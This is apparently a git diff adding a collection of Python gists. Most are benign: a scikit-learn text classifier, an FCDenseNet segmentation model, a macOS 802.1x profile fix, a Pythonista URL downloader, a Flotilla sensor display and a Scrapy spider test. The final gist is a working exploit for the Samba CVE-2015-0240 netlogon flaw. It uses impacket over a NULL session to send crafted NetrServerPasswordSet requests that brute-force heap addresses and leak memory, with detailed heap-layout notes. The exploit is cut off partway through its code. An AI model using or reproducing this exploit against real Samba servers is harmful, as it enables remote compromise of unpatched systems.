evaluation") + X_train, X_test, y_train, y_test = tts(X, y, test_size=0.2) + model, secs = build(classifier, X_train, y_train) + + if verbose: print("Evaluation model fit in {:0.3f} seconds".format(secs)) + if verbose: print("Classification Report:\n") + + y_pred = model.predict(X_test) + print(clsr(y_test, y_pred, target_names=labels.classes_)) + + if verbose: print("Building complete model and saving ...") + model, secs = build(classifier, X, y) + model.labels_ = labels + + if verbose: print("Complete model fit in {:0.3f} seconds".format(secs)) + + if outpath: + with open(outpath, 'wb') as f: + pickle.dump(model, f) + + print("Model written out to {}".format(outpath)) + + return model + + +def show_most_informative_features(model, text=None, n=20): + """ + Accepts a Pipeline with a classifer and a TfidfVectorizer and computes + the n most informative features of the model. If text is given, then will + compute the most informative features for classifying that text. + + Note that this function will only work on linear models with coefs_ + """ + # Extract the vectorizer and the classifier from the pipeline + vectorizer = model.named_steps['vectorizer'] + classifier = model.named_steps['classifier'] + + # Check to make sure that we can perform this computation + if not hasattr(classifier, 'coef_'): + raise TypeError( + "Cannot compute most informative features on {} model.".format( + classifier.__class__.__name__ + ) + ) + + if text is not None: + # Compute the coefficients for the text + tvec = model.transform([text]).toarray() + else: + # Otherwise simply use the coefficients + tvec = classifier.coef_ + + # Zip the feature names with the coefs and sort + coefs = sorted( + zip(tvec[0], vectorizer.get_feature_names()), + key=itemgetter(0), reverse=True + ) + + topn = zip(coefs[:n], coefs[:-(n+1):-1]) + + # Create the output string to return + output = [] + + # If text, add the predicted value to the output. + if text is not None: + output.append("\"{}\"".format(text)) + output.append("Classified as: {}".format(model.predict([text]))) + output.append("") + + # Create two columns with most negative and most positive features. + for (cp, fnp), (cn, fnn) in topn: + output.append( + "{:0.4f}{: >15} {:0.4f}{: >15}".format(cp, fnp, cn, fnn) + ) + + return "\n".join(output) + + +if __name__ == "__main__": + PATH = "model.pickle" + + if not os.path.exists(PATH): + # Time to build the model + from nltk.corpus import movie_reviews as reviews + + X = [reviews.raw(fileid) for fileid in reviews.fileids()] + y = [reviews.categories(fileid)[0] for fileid in reviews.fileids()] + + model = build_and_evaluate(X,y, outpath=PATH) + + else: + with open(PATH, 'rb') as f: + model = pickle.load(f) + + print(show_most_informative_features(model)) diff --git a/hard-gists/045c887b6ccdf0edf4648da0c40bcc12/._snippet.py b/hard-gists/045c887b6ccdf0edf4648da0c40bcc12/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/045c887b6ccdf0edf4648da0c40bcc12/._snippet.py differ diff --git a/hard-gists/045c887b6ccdf0edf4648da0c40bcc12/snippet.py b/hard-gists/045c887b6ccdf0edf4648da0c40bcc12/snippet.py new file mode 100644 index 00000000..54a85457 --- /dev/null +++ b/hard-gists/045c887b6ccdf0edf4648da0c40bcc12/snippet.py @@ -0,0 +1,172 @@ +import torch +from torch import nn + +__all__ = ['FCDenseNet', 'fcdensenet_tiny', 'fcdensenet56_nodrop', + 'fcdensenet56', 'fcdensenet67', 'fcdensenet103', + 'fcdensenet103_nodrop'] + + +class DenseBlock(nn.Module): + + def __init__(self, nIn, growth_rate, depth, drop_rate=0, only_new=False, + bottle_neck=False): + super(DenseBlock, self).__init__() + self.only_new = only_new + self.depth = depth + self.growth_rate = growth_rate + self.layers = nn.ModuleList([self.get_transform( + nIn + i * growth_rate, growth_rate, bottle_neck, + drop_rate) for i in range(depth)]) + + def forward(self, x): + if self.only_new: + outputs = [] + for i in range(self.depth): + tx = self.layers[i](x) + x = torch.cat((x, tx), 1) + outputs.append(tx) + return torch.cat(outputs, 1) + else: + for i in range(self.depth): + x = torch.cat((x, self.layers[i](x)), 1) + return x + + def get_transform(self, nIn, nOut, bottle_neck=None, drop_rate=0): + if not bottle_neck or nIn <= nOut * bottle_neck: + return nn.Sequential( + nn.BatchNorm2d(nIn), + nn.ReLU(True), + nn.Conv2d(nIn, nOut, 3, stride=1, padding=1, bias=True), + nn.Dropout(drop_rate), + ) + else: + nBottle = nOut * bottle_neck + return nn.Sequential( + nn.BatchNorm2d(nIn), + nn.ReLU(True), + nn.Conv2d(nIn, nBottle, 1, stride=1, padding=0, bias=True), + nn.BatchNorm2d(nBottle), + nn.ReLU(True), + nn.Conv2d(nBottle, nOut, 3, stride=1, padding=1, bias=True), + nn.Dropout(drop_rate), + ) + + +class FCDenseNet(nn.Module): + + def __init__(self, depths, growth_rates, n_scales=5, n_channel_start=48, + n_classes=12, drop_rate=0, bottle_neck=False): + super(FCDenseNet, self).__init__() + self.n_scales = n_scales + self.n_classes = n_classes + self.n_channel_start = n_channel_start + self.depths = [depths] * \ + (2 * n_scales + 1) if type(depths) == int else depths + self.growth_rates = [growth_rates] * (2 * n_scales + 1) if \ + type(growth_rates) == int else growth_rates + self.drop_rate = drop_rate + assert len(self.depths) == len(self.growth_rates) == 2 * n_scales + 1 + self.conv_first = nn.Conv2d( + 3, n_channel_start, 3, stride=1, padding=1, bias=True) + self.dense_blocks = nn.ModuleList([]) + self.transition_downs = nn.ModuleList([]) + self.transition_ups = nn.ModuleList([]) + + nskip = [] + nIn = self.n_channel_start + for i in range(n_scales): + self.dense_blocks.append( + DenseBlock(nIn, self.growth_rates[i], self.depths[i], + drop_rate=drop_rate, bottle_neck=bottle_neck)) + nIn += self.growth_rates[i] * self.depths[i] + nskip.append(nIn) + self.transition_downs.append(self.get_TD(nIn, drop_rate)) + + self.dense_blocks.append( + DenseBlock(nIn, self.growth_rates[n_scales], self.depths[n_scales], + only_new=True, drop_rate=drop_rate, + bottle_neck=bottle_neck)) + nIn = self.growth_rates[n_scales] * self.depths[n_scales] + + for i in range(n_scales-1): + self.transition_ups.append(nn.ConvTranspose2d( + nIn, nIn, 3, stride=2, padding=1, bias=True)) + nIn += nskip.pop() + self.dense_blocks.append( + DenseBlock(nIn, self.growth_rates[n_scales + 1 + i], + self.depths[n_scales + 1 + i], + only_new=True, drop_rate=drop_rate, + bottle_neck=bottle_neck)) + nIn = self.growth_rates[n_scales + 1 + i] * \ + self.depths[n_scales + 1 + i] + # last dense block + self.transition_ups.append(nn.ConvTranspose2d( + nIn, nIn, 3, stride=2, padding=1, bias=True)) + nIn += nskip.pop() + self.dense_blocks.append( + DenseBlock(nIn, self.growth_rates[2 * n_scales], + self.depths[2 * n_scales], drop_rate=drop_rate, + bottle_neck=bottle_neck)) + nIn += self.growth_rates[2 * n_scales] * \ + self.depths[2 * n_scales] + self.conv_last = nn.Conv2d(nIn, n_classes, 1, bias=True) + self.logsoftmax = nn.LogSoftmax() + + def forward(self, x): + x = self.conv_first(x) + skip_connects = [] + # down sample + for i in range(self.n_scales): + x = self.dense_blocks[i](x) + skip_connects.append(x) + x = self.transition_downs[i](x) + # bottle neck + x = self.dense_blocks[self.n_scales](x) + # up sample + for i in range(self.n_scales): + skip = skip_connects.pop() + TU = self.transition_ups[i] + # adjust padding + TU.padding = (((x.size(2) - 1) * TU.stride[0] - skip.size(2) + + TU.kernel_size[0] + 1) // 2, + ((x.size(3) - 1) * TU.stride[1] - skip.size(3) + + TU.kernel_size[1] + 1) // 2) + x = TU(x, output_size=skip.size()) + x = torch.cat((skip, x), 1) + x = self.dense_blocks[self.n_scales + 1 + i](x) + x = self.conv_last(x) + return self.logsoftmax(x) + + def get_TD(self, nIn, drop_rate): + layers = [nn.BatchNorm2d(nIn), nn.ReLU( + True), nn.Conv2d(nIn, nIn, 1, bias=True)] + if drop_rate > 0: + layers.append(nn.Dropout(drop_rate)) + layers.append(nn.MaxPool2d(2)) + return nn.Sequential(*layers) + + +def fcdensenet_tiny(drop_rate=0): + return FCDenseNet(2, 6, drop_rate=drop_rate) + + +def fcdensenet56_nodrop(): + return FCDenseNet(4, 12, drop_rate=0) + + +def fcdensenet56(drop_rate=0.2): + return FCDenseNet(4, 12, drop_rate=drop_rate) + + +def fcdensenet67(drop_rate=0.2): + return FCDenseNet(5, 16, drop_rate=drop_rate) + + +def fcdensenet103(drop_rate=0.2): + return FCDenseNet([4, 5, 7, 10, 12, 15, 12, 10, 7, 5, 4], 16, + drop_rate=drop_rate) + + +def fcdensenet103_nodrop(drop_rate=0): + return FCDenseNet([4, 5, 7, 10, 12, 15, 12, 10, 7, 5, 4], 16, + drop_rate=drop_rate) \ No newline at end of file diff --git a/hard-gists/046e434c51057dc9588762edd40199b1/._snippet.py b/hard-gists/046e434c51057dc9588762edd40199b1/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/046e434c51057dc9588762edd40199b1/._snippet.py differ diff --git a/hard-gists/046e434c51057dc9588762edd40199b1/snippet.py b/hard-gists/046e434c51057dc9588762edd40199b1/snippet.py new file mode 100644 index 00000000..4d58888e --- /dev/null +++ b/hard-gists/046e434c51057dc9588762edd40199b1/snippet.py @@ -0,0 +1,127 @@ +#!/usr/bin/python +# pylint: disable=E0611, E1101, E0602 +''''Fix 802.1x When Using Config Profiles and PEAP-MSCHAPV2 or EAP-TLS''' +# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # +# +# This script will find the system profile that is attached to one ethernet +# interface from our configuration profile and then copy it to all other +# ethernet interfaces so that other ethernet interfaces can be used instead +# of just the FirstActiveEthernet at time of profile installation. This issue +# is still an issue as of 10.12.3 +# +# Joshua D. Miller - josh@psu.edu - The Pennsylvania State University +# Last Updated Friday March 21, 2017 +# +# References +# https://gist.github.com/pudquick/8ad859f30438f3be149fe9751391d037 +# https://gist.github.com/pudquick/4cf32c2b403bf0be23b268d6dd3cf803 +# https://github.com/mosen/moobjc-framework-Security/blob/ +# master/metadata/Security.fwinfo +# https://github.com/mosen/meap/blob/master/meap/eap8021x/_metadata.py +# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # +# +# I'd like to give a very special thanks to Mosen who was so influencial +# in making this script a reality. Thank you so much for asssting with +# this project and it is my hope that this truly solves our 802.1x issue +# on the Mac side and allows us to move forward with the project. We +# decided to switch from EAP-TLS to PEAP-MSCHAPV2 because the user +# will still need a domain bound computer which can only be done by our +# IT Staff and will need the cert from our CA. This script does work with both +# protocols though +# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # + +from Foundation import NSBundle +from SystemConfiguration import ( + SCNetworkServiceCopyAll, SCNetworkInterfaceGetBSDName, + SCNetworkInterfaceGetInterfaceType, SCNetworkServiceGetInterface, + SCPreferencesCreate) +import objc + + +def ethernet_services(services): + '''function will pull any en(x) device that is truly an ethernet + Special Thanks to @mosen for this little function that gets + the job done''' + for service in services: + interface = SCNetworkServiceGetInterface(service) + if SCNetworkInterfaceGetInterfaceType(interface) == 'Ethernet': + yield interface + + +def main(): + '''This function is very similar to our fix but instead of performing + any systematic changes will read the information and report it to + jamf as an extension attribute.''' + eap8021x_bundle = NSBundle.bundleWithPath_( + '/System/Library/PrivateFrameworks/EAP8021X.framework') + + # EAP Functions from @mosen's meap project (See above for link) + eapol_functions = [ + ('EAPOLClientConfigurationGetTypeID', 'Q'), + ('EAPOLClientProfileGetTypeID', 'Q'), + ('EAPOLClientItemIDGetTypeID', 'Q'), + ('EAPOLClientConfigurationCreate', + '^{EAPOLClientConfigurationRef=}^{__CFAllocator=}'), + ('EAPOLClientProfileGetUserDefinedName', + '@^{EAPOLClientProfileRef=}'), + ('EAPOLClientConfigurationGetSystemProfile', + '^{EAPOLClientProfileRef=}' + '^{EAPOLClientConfigurationRef=}@'), + ('EAPOLClientConfigurationSetSystemProfile', + 'Z^{EAPOLClientConfigurationRef=}@' + '^{EAPOLClientProfileRef=}'), + ('EAPOLClientConfigurationSave', + 'Z^{EAPOLClientConfigurationRef=}')] + + objc.loadBundleFunctions(eap8021x_bundle, globals(), eapol_functions) + + # CF Types to be loaded also from @mosen's meap project + cf_types = [ + ('EAPOLClientConfigurationRef', + '^{EAPOLClientConfigurationRef=}', + EAPOLClientConfigurationGetTypeID()), + + ('EAPOLClientProfileRef', + '^{EAPOLClientProfileRef=}', + EAPOLClientProfileGetTypeID()), + + ('EAPOLClientItemIDRef', + '^{EAPOLClientItemIDRef=}', + EAPOLClientItemIDGetTypeID()), ] + + for item in cf_types: + objc.registerCFSignature(*item) + + # Define blank list to be used to gather EAPOL information on + # Ethernet interfaces + interface_list = [] + prefs = SCPreferencesCreate(None, "python", None) + services = SCNetworkServiceCopyAll(prefs) + + # Poll through the interfaces and make a list of the true Ethernet + # adapters on the system + for interface in ethernet_services(services): + interface_list.append(SCNetworkInterfaceGetBSDName(interface)) + + # For loop to iterate through our Ethernet adapters and determine if they + # have the system profile we are looking for and apply it to any other + # Ethernet interfaces that don't have it applied. Change "Ethernet(COE)" + # to whatever your 802.1x profile is called in Network Preferences. + # Default in jamf is sadly "Network" + for ethernet in interface_list: + cfg = EAPOLClientConfigurationCreate(None) + look_for_cfg = EAPOLClientConfigurationGetSystemProfile(cfg, ethernet) + if look_for_cfg is not None: + if EAPOLClientProfileGetUserDefinedName( + look_for_cfg) == 'Ethernet(COE)': + for ethernet in interface_list: + if EAPOLClientConfigurationGetSystemProfile( + cfg, ethernet) == look_for_cfg: + continue + else: + EAPOLClientConfigurationSetSystemProfile(cfg, ethernet, look_for_cfg) + EAPOLClientConfigurationSave(cfg) + + +if __name__ == '__main__': + main() diff --git a/hard-gists/04c2b5ce5978c0d66e6e/._snippet.py b/hard-gists/04c2b5ce5978c0d66e6e/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/04c2b5ce5978c0d66e6e/._snippet.py differ diff --git a/hard-gists/04c2b5ce5978c0d66e6e/snippet.py b/hard-gists/04c2b5ce5978c0d66e6e/snippet.py new file mode 100644 index 00000000..c6ffa5ee --- /dev/null +++ b/hard-gists/04c2b5ce5978c0d66e6e/snippet.py @@ -0,0 +1,108 @@ +"""Prompt user for URL and filename and download the remote resource to a file. + +If the clipboard contains a HTTP(S) or FTP(S) URL, the URL input dialog is +pre-filled with it. + +The suggested local filename is extracted from the URL, if possible. + +If a github file viewer URL is given, it is transformed into the matching +raw file access URL, which makes it easier to download files on github you +are viewing in your browser. Just copy the URL to the clipboard, change to +Pythonista and run this script. + +""" +import os +import re +import tempfile +import urllib2 +import urlparse + +from os.path import basename, exists +from urllib import unquote + +import console +import editor + +CHUNKSIZE = 4096 + +def download(args): + if args: + url = args[0] + else: + try: + import clipboard + cb = clipboard.get().strip() + if not re.search('^(ht|f)tps?://', cb): + cb = '' + url = console.input_alert('Enter URL', 'Download file from URL:', + cb, 'Download') + except KeyboardInterrupt: + return + + # convert github file viewer URLs into raw file URLs + urlparts = urlparse.urlparse(url) + try: + auth, server = urlparts.netloc.split('@') + except: + server = urlparts.netloc + + server = server.split(':')[0] + if server == 'github.com' and '/blob' in urlparts.path: + urlparts = list(urlparts) + urlparts[1] = urlparts[1].replace('github.com', 'raw.githubusercontent.com') + urlparts[2] = urlparts[2].replace('/blob', '') + url = urlparse.urlunparse(urlparts) + + try: + r = urllib2.urlopen(url) + except urllib2.URLError as exc: + print(exc) + console.hud_alert("Download error (see console)", 'error') + return + + content_type = r.info().get('content-type') + urlparts = urlparse.urlparse(r.geturl()) + fn = basename(unquote(urlparts.path)) + + while True: + try: + fn = console.input_alert('Enter filename', "Save download as:", fn) + if exists(fn): + choice = console.alert('Overwrite file?', + 'File exists. Enter new filename, overwrite or cancel?', + 'New filename', 'Overwrite') + if choice == 2: + break + else: + break + except KeyboardInterrupt: + return + + try: + # trigger error early in case there are permission problems + if not exists(fn): + open(fn, 'wb').close() + + with tempfile.NamedTemporaryFile(delete=False) as temp: + while True: + chunk = r.read(CHUNKSIZE) + if not chunk: + break + temp.write(chunk) + except Exception as exc: + print(exc) + console.hud_alert("Download error (see console)", 'error') + try: + os.unlink(temp.name) + except: + pass + return + else: + os.rename(temp.name, fn) + + if content_type.startswith('text/'): + editor.open_file(fn) + +if __name__ == '__main__': + import sys + download(sys.argv[1:]) diff --git a/hard-gists/04ef258fa29e4e685287a30cf60462d0/._snippet.py b/hard-gists/04ef258fa29e4e685287a30cf60462d0/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/04ef258fa29e4e685287a30cf60462d0/._snippet.py differ diff --git a/hard-gists/04ef258fa29e4e685287a30cf60462d0/snippet.py b/hard-gists/04ef258fa29e4e685287a30cf60462d0/snippet.py new file mode 100644 index 00000000..15883041 --- /dev/null +++ b/hard-gists/04ef258fa29e4e685287a30cf60462d0/snippet.py @@ -0,0 +1,233 @@ +#!/usr/bin/env python3 + +import flotilla +import time + +client = flotilla.Client( + requires={ + 'one':flotilla.Matrix, + 'eight':flotilla.Number, + 'two':flotilla.Weather, + 'three':flotilla.Touch, + 'seven':flotilla.Light + }) + +matrix = client.first(flotilla.Matrix) +number = client.first(flotilla.Number) +light = client.first(flotilla.Light) +weather = client.first(flotilla.Weather) +touch = client.first(flotilla.Touch) + +matrix.clear() +number.clear() + +def logo(name): + if name == "temp": + print ("temp") + matrix.clear() + mylistx=[0,7,1,2,3,4,5,6,1,2,5,6,1,3,4,6,1,3,4,6,1,2,5,6,1,2,3,4,5,6,0,7] + mylisty=[0,0,1,1,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,6,6,6,6,6,6,7,7] + for i in range(len(mylistx)): + x = mylistx[i] + y = mylisty[i] + matrix.set_pixel(x,y, True) + matrix.update() + time.sleep(2) + matrix.clear() + matrix.update() + + if name == "light": + print ("light") + matrix.clear() + mylistx=[2,0,3,1,4,2,5,3,6,7,1,4,5,6,7,2,4,5,6,7,3,4,5,6,7] + mylisty=[0,1,1,2,2,3,3,4,4,4,5,5,5,5,5,6,6,6,6,6,7,7,7,7,7] + for i in range(len(mylistx)): + x = mylistx[i] + y = mylisty[i] + matrix.set_pixel(x,y, True) + matrix.update() + time.sleep(2) + matrix.clear() + + if name == "pressure": + print ("pressure") + matrix.clear() + mylistx=[3,4,5,2,6,1,3,4,7,0,2,5,7,0,3,5,7,1,3,4,7,2,6,3,4,5] + mylisty=[0,0,0,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,6,6,7,7,7] + for i in range(len(mylistx)): + x = mylistx[i] + y = mylisty[i] + matrix.set_pixel(x,y, True) + matrix.update() + time.sleep(2) + matrix.clear() + + if name == "button": + print ("button") + matrix.clear() + mylistx=[0,1,2,3,4,5,6,7,0,3,4,7,0,3,4,7,0,3,4,7,0,3,4,7,0,3,4,7,0,3,4,7,0,1,2,3,4,5,6,7] + mylisty=[0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,6,6,6,6,7,7,7,7,7,7,7,7] + for i in range(len(mylistx)): + x = mylistx[i] + y = mylisty[i] + matrix.set_pixel(x,y, True) + matrix.update() + +def get_temp(): + for wait in range (20): + matrix.clear() + for y in range(8): + matrix.set_pixel(7, y, True) + for x in range(8): + matrix.set_pixel(x,0, True) + try: + t_value = int(weather.temperature) + print(t_value) + number.clear() + number.set_number(t_value) + number.update() + if t_value in range (0,9): + m_l_value = 0 + if t_value in range (10,19): + m_l_value = 1 + if t_value in range (20,28): + m_l_value = 2 + if t_value in range (30,39): + m_l_value = 3 + if t_value in range (40,49): + m_l_value = 4 + if t_value in range (50,59): + m_l_value = 5 + if t_value in range (60,69): + m_l_value = 6 + if t_value in range (70,79): + m_l_value = 7 + if t_value in range (80,90): + m_l_value = 8 + print (m_l_value) + for count in range(m_l_value): + matrix.set_pixel(3,count+1,True) + matrix.set_pixel(4,count+1,True) + matrix.update() + time.sleep(1) + except Exception: + pass + +def get_pressure(): + for wait in range (20): + matrix.clear() + for y in range(8): + matrix.set_pixel(7, y, True) + for x in range(8): + matrix.set_pixel(x,0, True) + + try: + p_value = int(weather.pressure) + print(p_value) + number.clear() + p_display=int((p_value/1000)) + print (p_display) + number.set_number(p_display) + number.update() + if p_value in range (0,10000): + m_l_value = 0 + if p_value in range (10000,19999): + m_l_value = 1 + if p_value in range (20000,29999): + m_l_value = 2 + if p_value in range (30000,39999): + m_l_value = 3 + if p_value in range (40000,49999): + m_l_value = 4 + if p_value in range (50000,59999): + m_l_value = 5 + if p_value in range (60000,69999): + m_l_value = 6 + if p_value in range (70000,79999): + m_l_value = 7 + if p_value in range (80000,99999): + m_l_value = 8 + print (m_l_value) + for count in range(m_l_value): + matrix.set_pixel(3,count+1,True) + matrix.set_pixel(4,count+1,True) + matrix.update() + except Exception: + pass + time.sleep(1) + +def get_light(): + for wait in range (20): + matrix.clear() + for y in range(8): + matrix.set_pixel(7, y, True) + for x in range(8): + matrix.set_pixel(x,0, True) + print (light.data) + + try: + l_value = int(light.data[0]) + print(l_value) + number.clear() + number.set_number(l_value) + number.update() + if l_value in range (0,99): + m_l_value = 0 + if l_value in range (100,199): + m_l_value = 1 + if l_value in range (200,299): + m_l_value = 2 + if l_value in range (300,399): + m_l_value = 3 + if l_value in range (400,499): + m_l_value = 4 + if l_value in range (500,599): + m_l_value = 5 + if l_value in range (600,699): + m_l_value = 6 + if l_value in range (700,799): + m_l_value = 7 + if l_value in range (800,5000): + m_l_value = 8 + print (m_l_value) + for count in range(m_l_value): + matrix.set_pixel(3,count+1,True) + matrix.set_pixel(4,count+1,True) + matrix.update() + time.sleep(1) + except Exception: + pass + + + + +try: + while True: + logo("button") + light_v = (touch.one) + temp_v = (touch.two) + pressure_v = (touch.three) + + if light_v == True: + print ("Light Meter") + logo("light") + get_light() + logo("button") + + if temp_v == True: + print ("Temperature") + logo("temp") + get_temp() + logo("button") + + if pressure_v == True: + print ("Pressure") + logo("pressure") + get_pressure() + logo("button") + + time.sleep(0.5) + +except KeyboardInterrupt: + client.stop() + diff --git a/hard-gists/04f3047ca8770f4a3a58/._snippet.py b/hard-gists/04f3047ca8770f4a3a58/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/04f3047ca8770f4a3a58/._snippet.py differ diff --git a/hard-gists/04f3047ca8770f4a3a58/snippet.py b/hard-gists/04f3047ca8770f4a3a58/snippet.py new file mode 100644 index 00000000..314ce903 --- /dev/null +++ b/hard-gists/04f3047ca8770f4a3a58/snippet.py @@ -0,0 +1,49 @@ +import subprocess +import unittest + +from scrapy.crawler import Crawler +from scrapy.utils.project import get_project_settings +from twisted.internet import reactor, task + +from my_project.spiders.spider1 import Spider1 +from my_project.spiders.spider2 import Spider2 + + +fixture_server = subprocess.Popen(['python', '-m', 'SimpleHTTPServer', '4012']) + +def setup_crawler(spider_class, **kwargs): + splitter = ';' + urls = kwargs['urls'].split(splitter) + kwargs['urls'] = splitter.join(['http://127.0.0.1:4012/my_project/test/fixtures/' + url for url in urls]) + spider = spider_class(**kwargs) + + settings = get_project_settings() + crawler = Crawler(settings) + crawler.configure() + crawler.crawl(spider) + crawler.start() + return spider + +spider1 = setup_crawler( + spider_class=Spider1, + site_id=654321, + urls='spider1/mini.csv', +) + +spider2 = setup_crawler( + spider_class=Spider2, + site_id=654321, + urls='spider2/mini.xml', +) + +task.deferLater(reactor, 1, reactor.stop) +reactor.run() +fixture_server.kill() + + +class SpidersTests(unittest.TestCase): + def test_spider1(self): + self.assertEqual(len(spider1.results_sent[0]), 4) + + def test_xml_getter(self): + self.assertEqual(len(spider2.results_sent[0]), 2) diff --git a/hard-gists/051e881fc94fe4a49295/._snippet.py b/hard-gists/051e881fc94fe4a49295/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/051e881fc94fe4a49295/._snippet.py differ diff --git a/hard-gists/051e881fc94fe4a49295/snippet.py b/hard-gists/051e881fc94fe4a49295/snippet.py new file mode 100644 index 00000000..18af6fd3 --- /dev/null +++ b/hard-gists/051e881fc94fe4a49295/snippet.py @@ -0,0 +1,911 @@ +#!/usr/bin/python +""" +Exploit for Samba vulnerabilty (CVE-2015-0240) by sleepya + +The exploit only targets vulnerable x86 smbd <3.6.24 which 'creds' is controlled by +ReferentID field of PrimaryName (ServerName). That means '_talloc_zero()' +in libtalloc does not write a value on 'creds' address. + +Reference: +- https://securityblog.redhat.com/2015/02/23/samba-vulnerability-cve-2015-0240/ + +Note: +- heap might be changed while running exploit, need to try again (with '-hs' or '-pa' option) + if something failed + +Find heap address: +- ubuntu PIE heap start range: b7700000 - b9800000 +- start payload size: the bigger it is the lesser connection and binding time. + but need more time to shrink payload size +- payload is too big to fit in freed small hole. so payload is always at end + of heap +- start bruteforcing heap address from high memory address to low memory address + to prevent 'creds' pointed to real heap chunk (also no crash but not our payload) + +Leak info: +- heap layout is predictable because talloc_stackframe_pool(8192) is called after + accepted connection and fork but before calling smbd_server_connection_loop_once() +- before talloc_stackframe_pool(8192) is called, there are many holes in heap + but their size are <8K. so pool is at the end of heap at this time +- many data that allocated after talloc_stackframe_pool(8192) are allocated in pool. + with the same pattern of request, the layout in pool are always the same. +- many data are not allocated in pool but fit in free holes. so no small size data are + allocated after pool. +- normally there are only few data block allocated after pool. + - pool size: 0x2048 (included glibc heap header 4 bytes) + - a table that created in giconv_open(). the size is 0x7f88 (included glibc heap header 4 bytes) + - p->in_data.pdu.data. the size is 0x10e8 (included glibc heap header 4 bytes) + - this might not be allocated here because its size might fit in freed hole + - all fragment should be same size to prevent talloc_realloc() changed pdu.data size + - so last fragment should be padded + - ndr DATA_BLOB. the size is 0x10d0 (included glibc heap header 4 bytes) + - this might not be allocated here because its size might fit in freed hole + - p->in_data.data.data. the size is our netlogon data + - for 8K payload, the size is 0x2168 (included glibc heap header 4 bytes) + - this data is allocated by realloc(), grew by each fragment. so this memory + block is not allocated by mmapped even the size is very big. +- pool layout for interested data + - r->out offset from pool (talloc header) is 0x13c0 + - r->out.return_authenticator offset from pool is 0x13c0+0x18 + - overwrite this (with link unlink) to leak info in ServerPasswordSet response + - smb_request offset from pool (talloc header) is 0x11a0 + - smb_request.sconn offset from pool is 0x11a0+0x3c + - socket fd is at smb_request.sconn address (first struct member) +- more shared folder in configuration, more freed heap holes + - only if there is no or one shared, many data might be unexpected allocated after pool. + have to get that extra offset or bruteforce it + + +More exploitation detail in code (comment) ;) +""" + +import sys +import time +from struct import pack,unpack +import argparse + +import impacket +from impacket.dcerpc.v5 import transport, nrpc +from impacket.dcerpc.v5.ndr import NDRCALL +from impacket.dcerpc.v5.dtypes import WSTR + + +class Requester: + """ + put all smb request stuff into class. help my editor folding them + """ + + # impacket does not implement NetrServerPasswordSet + # 3.5.4.4.6 NetrServerPasswordSet (Opnum 6) + class NetrServerPasswordSet(NDRCALL): + opnum = 6 + structure = ( + ('PrimaryName',nrpc.PLOGONSRV_HANDLE), + ('AccountName',WSTR), + ('SecureChannelType',nrpc.NETLOGON_SECURE_CHANNEL_TYPE), + ('ComputerName',WSTR), + ('Authenticator',nrpc.NETLOGON_AUTHENTICATOR), + ('UasNewPassword',nrpc.ENCRYPTED_NT_OWF_PASSWORD), + ) + # response is authenticator (8 bytes) and error code (4 bytes) + + # size of each field in sent packet + req_server_handle_size = 16 + req_username_hdr_size = 4 + 4 + 4 + 2 # max count, offset, actual count, trailing null + req_sec_type_size = 2 + req_computer_size = 4 + 4 + 4 + 2 + req_authenticator_size = 8 + 2 + 4 + req_new_pwd_size = 16 + req_presize = req_server_handle_size + req_username_hdr_size + req_sec_type_size + req_computer_size + req_authenticator_size + req_new_pwd_size + + samba_rpc_fragment_size = 4280 + netlogon_data_fragment_size = samba_rpc_fragment_size - 8 - 24 # 24 is dcerpc header size + + def __init__(self): + self.target = None + self.dce = None + + sessionKey = '\x00'*16 + # prepare ServerPasswordSet request + authenticator = nrpc.NETLOGON_AUTHENTICATOR() + authenticator['Credential'] = nrpc.ComputeNetlogonCredential('12345678', sessionKey) + authenticator['Timestamp'] = 10 + + uasNewPass = nrpc.ENCRYPTED_NT_OWF_PASSWORD() + uasNewPass['Data'] = '\x00'*16 + + self.serverName = nrpc.PLOGONSRV_HANDLE() + # ReferentID field of PrimaryName controls the uninitialized value of creds + self.serverName.fields['ReferentID'] = 0 + + self.accountName = WSTR() + + request = Requester.NetrServerPasswordSet() + request['PrimaryName'] = self.serverName + request['AccountName'] = self.accountName + request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel + request['ComputerName'] = '\x00' + request['Authenticator'] = authenticator + request['UasNewPassword'] = uasNewPass + self.request = request + + def set_target(self, target): + self.target = target + + def set_payload(self, s, pad_to_size=0): + if pad_to_size > 0: + s += '\x00'*(pad_to_size-len(s)) + pad_size = 0 + if len(s) < (16*1024+1): + ofsize = (len(s)+self.req_presize) % self.netlogon_data_fragment_size + if ofsize > 0: + pad_size = self.netlogon_data_fragment_size - ofsize + + self.accountName.fields['Data'] = s+'\x00'*pad_size+'\x00\x00' + self.accountName.fields['MaximumCount'] = None + self.accountName.fields['ActualCount'] = None + self.accountName.data = None # force recompute + + set_accountNameData = set_payload + + def get_dce(self): + if self.dce is None or self.dce.lostconn: + rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\PIPE\netlogon]' % self.target) + rpctransport.set_credentials('','') # NULL session + rpctransport.set_dport(445) + # force to 'NT LM 0.12' only + rpctransport.preferred_dialect('NT LM 0.12') + + self.dce = rpctransport.get_dce_rpc() + self.dce.connect() + self.dce.bind(nrpc.MSRPC_UUID_NRPC) + self.dce.lostconn = False + return self.dce + + def get_socket(self): + return self.dce.get_rpc_transport().get_socket() + + def force_dce_disconnect(self): + if not (self.dce is None or self.dce.lostconn): + self.get_socket().close() + self.dce.lostconn = True + + def request_addr(self, addr): + self.serverName.fields['ReferentID'] = addr + + dce = self.get_dce() + try: + dce.call(self.request.opnum, self.request) + answer = dce.recv() + return unpack("flags & TALLOC_FLAG_LOOP)) { + /* we have a free loop - stop looping */ + return 0; + } + """ + global fake_chunk_find_heap + payload = 